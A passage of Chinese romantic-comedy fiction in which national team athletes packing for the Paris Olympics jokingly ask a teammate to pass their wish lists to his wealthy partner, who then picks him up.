“我听说巴黎的奥运村建得不怎么样，要不要带一套床单呐？”有徐泽在一旁，张风回更发愁了，“那个枕头我要带的！你放下！” “哎呀，不需要。” 徐泽神秘一笑，指了指鹿溪午，“咱们可是有金主爸爸，别说床单了，就连去巴黎的空调都一起赞助了。” 鹿溪午从箱子里抬起脑袋：“啥？” “你们啊，就带证件跟两件衣服就得了，剩下的东西，咱们金主爸爸全包了哈哈。” 张风回看看狂笑的徐泽，又看看一脸懵逼的鹿溪午，狗狗祟祟地凑过去：“鹿哥，要不你给金主爸爸说一声，咱们能要蚕丝空调被么？不然我晚上睡不着啊……” 徐泽支过来：“我听说巴黎那边的床也不太行，要不你去吹吹枕头风，给咱们把床也换了，睡得好才能打得好嘛。” 鹿溪午：…… “你俩能再离谱一点嘛？” 下午，贺存开车来基地门口接人，看到的就是一众人围着鹿溪午给他兜里塞小纸条： “鹿哥鹿哥帮帮忙……” “我就想要吃得好点，每顿来点荤。” “还有我，别忘了我！” 鹿溪午好不容易摆脱热情许愿的国家队队员，一头躲进了贺存的车里。 “怎么了这是？” 鹿溪午郁闷地从兜里往外掏小纸条：“我又不是许愿池里的王八，怎么都来找我……都赖你！” 贺存闷闷地笑起来：“没事，先收着，我等会儿回去看，能办我让助理去办了就是。” 鹿溪午捻着纸条，气鼓鼓地看贺存：“万恶的资本主义！”